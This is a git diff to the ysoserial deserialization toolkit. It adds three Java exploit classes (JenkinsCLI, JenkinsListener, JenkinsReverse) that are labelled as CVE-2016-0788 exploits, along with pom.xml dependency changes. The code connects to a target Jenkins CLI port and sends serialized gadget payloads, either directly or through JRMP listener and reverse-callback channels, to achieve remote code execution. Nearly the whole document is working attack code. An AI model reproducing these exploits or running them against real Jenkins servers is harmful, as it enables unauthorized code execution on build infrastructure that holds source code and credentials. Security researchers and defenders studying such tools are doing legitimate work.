diff --git a/pom.xml b/pom.xml
index 4f1264a..07f49ea 100644
--- a/pom.xml
+++ b/pom.xml
@@ -51,6 +51,14 @@
+
+
+
+ jenkins
+ default
+ http://repo.jenkins-ci.org/public/
+
+
@@ -105,6 +113,11 @@
commons-codec
1.9
+
+ remoting
+ org.jenkins-ci.main
+ 2.55
+
@@ -179,25 +192,14 @@
myfaces-impl
2.2.9
+
+ xalan
+ xalan
+ 2.7.2
+
-
- xalan
-
-
- properXalan
-
-
-
-
- xalan
- xalan
- 2.7.2
-
-
-
-
hibernate5
diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java
new file mode 100644
index 0000000..7bb958b
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java
@@ -0,0 +1,136 @@
+package ysoserial.exploit;
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.HttpURLConnection;
+import java.net.InetSocketAddress;
+import java.net.MalformedURLException;
+import java.net.Socket;
+import java.net.SocketException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+
+import javax.net.SocketFactory;
+
+import hudson.remoting.Callable;
+import hudson.remoting.Channel;
+import hudson.remoting.Channel.Mode;
+import hudson.remoting.ChannelBuilder;
+import ysoserial.payloads.ObjectPayload;
+import ysoserial.payloads.ObjectPayload.Utils;
+
+/**
+ * @author mbechler
+ *
+ */
+@SuppressWarnings ( {
+ "rawtypes"
+} )
+public class JenkinsCLI {
+ public static final void main ( final String[] args ) {
+ if ( args.length < 3 ) {
+ System.err.println(JenkinsCLI.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ final Class extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
+ if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
+ System.err.println("Invalid payload type '" + args[ 1 ] + "'");
+ System.exit(-1);
+ return;
+ }
+
+ final Object payloadObject;
+ try {
+ final ObjectPayload payload = payloadClass.newInstance();
+ payloadObject = payload.getObject(args[ 2 ]);
+ }
+ catch ( Exception e ) {
+ System.err.println("Failed to construct payload");
+ e.printStackTrace(System.err);
+ System.exit(-1);
+ return;
+ }
+
+ String jenkinsUrl = args[ 0 ];
+ Channel c = null;
+ try {
+ InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
+ c = JenkinsCLI.openChannel(isa);
+ c.call(getPropertyCallable(payloadObject));
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace();
+ }
+ finally {
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ }
+ }
+
+ public static Callable, ?> getPropertyCallable ( final Object prop )
+ throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+ Class> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
+ Constructor> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
+ reqCons.setAccessible(true);
+ Object getJarLoader = reqCons
+ .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
+ prop
+ });
+ return (Callable, ?>) getJarLoader;
+ }
+
+ public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
+ URL u = new URL(jenkinsUrl);
+
+ URLConnection conn = u.openConnection();
+ if ( ! ( conn instanceof HttpURLConnection ) ) {
+ System.err.println("Not a HTTP URL");
+ throw new MalformedURLException();
+ }
+
+ HttpURLConnection hc = (HttpURLConnection) conn;
+ if ( hc.getResponseCode() >= 400 ) {
+ System.err.println("* Error connection to jenkins HTTP " + u);
+ }
+ int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
+
+ return new InetSocketAddress(u.getHost(), clip);
+ }
+
+ public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {
+ System.err.println("* Opening socket " + isa);
+ Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ System.err.println("* Opening channel");
+ OutputStream outputStream = s.getOutputStream();
+ DataOutputStream dos = new DataOutputStream(outputStream);
+ dos.writeUTF("Protocol:CLI-connect");
+ ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
+
+ public Thread newThread ( Runnable r ) {
+ Thread t = new Thread(r, "Channel");
+ t.setDaemon(true);
+ return t;
+ }
+ });
+ Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
+ System.err.println("* Channel open");
+ return c;
+ }
+}
diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java
new file mode 100644
index 0000000..cdb42ec
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JenkinsListener.java
@@ -0,0 +1,231 @@
+package ysoserial.exploit;
+
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.rmi.activation.ActivationDesc;
+import java.rmi.activation.ActivationID;
+import java.rmi.activation.ActivationInstantiator;
+
+import javax.net.SocketFactory;
+
+import hudson.remoting.Callable;
+import hudson.remoting.Channel;
+import hudson.remoting.JarLoader;
+import sun.rmi.server.Util;
+import sun.rmi.transport.TransportConstants;
+import ysoserial.payloads.JRMPListener;
+import ysoserial.payloads.ObjectPayload;
+import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ * CVE-2016-0788 exploit (1)
+ *
+ * @author mbechler
+ */
+@SuppressWarnings ( {
+ "rawtypes", "restriction"
+} )
+public class JenkinsListener {
+
+ public static final void main ( final String[] args ) {
+
+ if ( args.length < 3 ) {
+ System.err.println(JenkinsListener.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ final Class extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
+ if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
+ System.err.println("Invalid payload type '" + args[ 1 ] + "'");
+ System.exit(-1);
+ }
+
+ String jenkinsUrl = args[ 0 ];
+ int jrmpPort = 12345;
+
+ Channel c = null;
+ try {
+ InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
+ c = JenkinsCLI.openChannel(isa);
+
+ Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
+ InvocationHandler remote = Proxy.getInvocationHandler(call);
+ int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
+
+ System.err.println("* JarLoader oid is " + oid);
+
+ Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
+
+ Class> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
+
+ Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
+
+ try {
+ c.call((Callable, ?>) o);
+ }
+ catch ( Exception e ) {
+ // [ActivationGroupImpl[UnicastServerRef [liveRef:
+ // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
+ // -9046794842107247609]]
+
+ System.err.println(e.getMessage());
+
+ parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
+ }
+
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace();
+ }
+ finally {
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ }
+
+ }
+
+
+ /**
+ * @param oid
+ * @param uro
+ * @param reqClass
+ * @return
+ * @throws NoSuchMethodException
+ * @throws InstantiationException
+ * @throws IllegalAccessException
+ * @throws InvocationTargetException
+ * @throws ClassNotFoundException
+ */
+ private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class> reqClass )
+ throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
+ Constructor> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
+ reqCons.setAccessible(true);
+ return reqCons
+ .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
+ uro,
+ });
+ }
+
+
+ /**
+ * @param args
+ * @param payloadClass
+ * @param jrmpPort
+ * @param isa
+ * @param e
+ * @throws Exception
+ * @throws IOException
+ */
+ private static void parseObjIdAndExploit ( final String[] args, final Class extends ObjectPayload> payloadClass, int jrmpPort,
+ InetSocketAddress isa, Exception e ) throws Exception, IOException {
+ String msg = e.getMessage();
+ int start = msg.indexOf("objID:[");
+ if ( start < 0 ) {
+ throw new Exception("Failed to get object id");
+ }
+
+ int sep = msg.indexOf(", ", start + 1);
+
+ if ( sep < 0 ) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ int end = msg.indexOf("]", sep + 1);
+
+ if ( end < 0 ) {
+ throw new Exception("Failed to get object id, separator");
+ }
+
+ String uid = msg.substring(start + 7, sep);
+ String objNum = msg.substring(sep + 2, end);
+
+ System.err.println("* UID is " + uid);
+ System.err.println("* ObjNum is " + objNum);
+
+ String[] parts = uid.split(":");
+
+ long obj = Long.parseLong(objNum);
+ int o1 = Integer.parseInt(parts[ 0 ], 16);
+ long o2 = Long.parseLong(parts[ 1 ], 16);
+ short o3 = Short.parseShort(parts[ 2 ], 16);
+
+ exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
+ }
+
+
+ /**
+ * @param inetSocketAddress
+ * @param obj
+ * @param o1
+ * @param o2
+ * @param o3
+ * @throws IOException
+ */
+ private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class> payloadClass, String payloadArg )
+ throws IOException {
+ Socket s = null;
+ DataOutputStream dos = null;
+ try {
+ System.err.println("* Opening JRMP socket " + isa);
+ s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
+ s.setKeepAlive(true);
+ s.setTcpNoDelay(true);
+
+ OutputStream os = s.getOutputStream();
+ dos = new DataOutputStream(os);
+
+ dos.writeInt(TransportConstants.Magic);
+ dos.writeShort(TransportConstants.Version);
+ dos.writeByte(TransportConstants.SingleOpProtocol);
+
+ dos.write(TransportConstants.Call);
+
+ @SuppressWarnings ( "resource" )
+ final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
+
+ objOut.writeLong(obj);
+ objOut.writeInt(o1);
+ objOut.writeLong(o2);
+ objOut.writeShort(o3);
+
+ objOut.writeInt(-1);
+ objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
+
+ final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
+ final Object object = payload.getObject(payloadArg);
+ objOut.writeObject(object);
+ os.flush();
+ }
+ catch ( Exception e ) {
+ e.printStackTrace(System.err);
+ }
+ finally {
+ if ( dos != null ) {
+ dos.close();
+ }
+ if ( s != null ) {
+ s.close();
+ }
+ }
+ }
+
+
+}
diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java
new file mode 100644
index 0000000..4dc0e31
--- /dev/null
+++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java
@@ -0,0 +1,94 @@
+package ysoserial.exploit;
+
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.rmi.registry.Registry;
+import java.util.Random;
+
+import hudson.remoting.Channel;
+import ysoserial.exploit.JRMPListener;
+import ysoserial.payloads.JRMPClient;
+import ysoserial.payloads.ObjectPayload;
+import ysoserial.payloads.ObjectPayload.Utils;
+
+
+/**
+ * CVE-2016-0788 exploit (2)
+ *
+ * @author mbechler
+ *
+ */
+@SuppressWarnings ( {
+ "rawtypes"
+} )
+public class JenkinsReverse {
+
+ public static final void main ( final String[] args ) {
+ if ( args.length < 4 ) {
+ System.err.println(JenkinsListener.class.getName() + " ");
+ System.exit(-1);
+ }
+
+ final Class extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 2 ]);
+ if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
+ System.err.println("Invalid payload type '" + args[ 2 ] + "'");
+ System.exit(-1);
+ return;
+ }
+
+ final Object payloadObject;
+ try {
+ final ObjectPayload payload = payloadClass.newInstance();
+ payloadObject = payload.getObject(args[ 3 ]);
+ }
+ catch ( Exception e ) {
+ System.err.println("Failed to construct payload");
+ e.printStackTrace(System.err);
+ System.exit(-1);
+ return;
+ }
+
+ String myAddr = args[ 1 ];
+ int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
+ String jenkinsUrl = args[ 0 ];
+
+ Thread t = null;
+ Channel c = null;
+ try {
+ InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
+ c = JenkinsCLI.openChannel(isa);
+ JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
+ t = new Thread(listener, "ReverseDGC");
+ t.setDaemon(true);
+ t.start();
+ Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
+ c.call(JenkinsCLI.getPropertyCallable(payload));
+ listener.waitFor(1000);
+ listener.close();
+ }
+ catch ( Throwable e ) {
+ e.printStackTrace();
+ }
+ finally {
+ if ( c != null ) {
+ try {
+ c.close();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+
+ if ( t != null ) {
+ t.interrupt();
+ try {
+ t.join();
+ }
+ catch ( InterruptedException e ) {
+ e.printStackTrace(System.err);
+ }
+ }
+ }
+ }
+}